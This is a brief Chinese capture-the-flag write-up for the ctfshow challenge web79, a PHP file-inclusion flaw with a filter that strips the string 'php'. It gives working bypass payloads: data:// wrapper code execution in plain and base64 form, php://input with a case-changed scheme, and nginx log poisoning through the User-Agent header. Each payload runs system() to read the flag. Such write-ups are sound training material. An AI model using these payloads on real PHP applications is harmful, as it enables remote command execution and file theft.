[ctfshow web入门] web79
信息收集
过滤了php,小问题
if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);include($file);
}else{highlight_file(__FILE__);
}
解题
data://text/plain
使用到<?php ?>
可以用<?= ?>
代替
flag.php可以用*
或?
代替部分字符
或是直接使用base64编码
?file=data://text/plain,<?= system("tac fla*") ?>
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhKicpOyA/Pg==
php://input
php用大小写绕过
?file=Php://input
post:
<?php system('tac flag.php'); ?>
当你使用hackbar的时候,请使用raw模式发送post请求,否则服务端无法接收到post里的内容。这是一个issue,作者无法修复
base64
日志包含
?file=/var/log/nginx/access.log
user-agent里写上
<?php system('ls'); ?>
<?php system('tac flag.php'); ?>
web 目录 web